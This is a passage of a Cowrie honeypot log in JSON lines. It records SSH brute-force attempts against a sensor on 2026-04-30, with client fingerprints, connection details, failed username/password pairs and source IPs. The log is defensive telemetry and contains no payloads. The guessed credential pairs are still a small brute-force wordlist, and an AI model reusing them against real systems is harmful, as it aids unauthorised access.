{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:26.636139Z","src_ip":"159.203.92.129","session":"b106752bea2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"!root","password":"!root","message":"login attempt [!root/!root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:29.113603Z","src_ip":"159.203.92.129","session":"b106752bea2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:30.573267Z","src_ip":"159.203.92.129","session":"b106752bea2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.467813968658447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:31.016064Z","src_ip":"15.204.146.206","session":"c1cb581650bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59222,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb286dbeb3bc","protocol":"ssh","message":"New connection: 159.203.92.129:59222 (159.203.135.109:22) [session: eb286dbeb3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:53.948172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:54.390393Z","src_ip":"159.203.92.129","session":"eb286dbeb3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:54.394165Z","src_ip":"159.203.92.129","session":"eb286dbeb3bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"!root","password":"111111","message":"login attempt [!root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:56.269420Z","src_ip":"159.203.92.129","session":"eb286dbeb3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:08:57.826662Z","src_ip":"159.203.92.129","session":"eb286dbeb3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33178,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6e2342c3f10","protocol":"ssh","message":"New connection: 159.203.92.129:33178 (159.203.135.109:22) [session: e6e2342c3f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:25.273450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:26.296528Z","src_ip":"159.203.92.129","session":"e6e2342c3f10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:26.300565Z","src_ip":"159.203.92.129","session":"e6e2342c3f10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":".syslog","password":"123456","message":"login attempt [.syslog/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:28.033725Z","src_ip":"159.203.92.129","session":"e6e2342c3f10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:29.336633Z","src_ip":"159.203.92.129","session":"e6e2342c3f10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41430,"dst_ip":"159.203.135.109","dst_port":22,"session":"df79fb96a1e0","protocol":"ssh","message":"New connection: 159.203.92.129:41430 (159.203.135.109:22) [session: df79fb96a1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:53.341507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:53.576107Z","src_ip":"159.203.92.129","session":"df79fb96a1e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:53.579387Z","src_ip":"159.203.92.129","session":"df79fb96a1e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":".syslog","password":"Hesoyam2005@","message":"login attempt [.syslog/Hesoyam2005@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:54.519288Z","src_ip":"159.203.92.129","session":"df79fb96a1e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:09:56.199606Z","src_ip":"159.203.92.129","session":"df79fb96a1e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":34836,"dst_ip":"10.17.0.5","dst_port":22,"session":"756e7da14852","protocol":"ssh","message":"New connection: 27.119.7.6:34836 (10.17.0.5:22) [session: 756e7da14852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:15.527864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:15.542087Z","src_ip":"27.119.7.6","session":"756e7da14852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:15.726681Z","src_ip":"27.119.7.6","session":"756e7da14852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"4444","message":"login attempt [user/4444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:16.490243Z","src_ip":"27.119.7.6","session":"756e7da14852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:17.684719Z","src_ip":"27.119.7.6","session":"756e7da14852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34824,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd254b33118e","protocol":"ssh","message":"New connection: 159.203.92.129:34824 (159.203.135.109:22) [session: dd254b33118e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:32.557188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:33.149338Z","src_ip":"159.203.92.129","session":"dd254b33118e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:33.153630Z","src_ip":"159.203.92.129","session":"dd254b33118e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"10","password":"10","message":"login attempt [10/10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:35.010127Z","src_ip":"159.203.92.129","session":"dd254b33118e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:10:36.374352Z","src_ip":"159.203.92.129","session":"dd254b33118e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45246,"dst_ip":"159.203.135.109","dst_port":22,"session":"80670b336a4f","protocol":"ssh","message":"New connection: 159.203.92.129:45246 (159.203.135.109:22) [session: 80670b336a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:03.614100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:03.620066Z","src_ip":"159.203.92.129","session":"80670b336a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:03.625800Z","src_ip":"159.203.92.129","session":"80670b336a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"10","password":"123","message":"login attempt [10/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:03.683602Z","src_ip":"159.203.92.129","session":"80670b336a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:04.692060Z","src_ip":"159.203.92.129","session":"80670b336a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48238,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f0d6c45e2c7","protocol":"ssh","message":"New connection: 159.203.92.129:48238 (159.203.135.109:22) [session: 4f0d6c45e2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:46.773839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:11:46.778661Z","src_ip":"159.203.92.129","session":"4f0d6c45e2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","s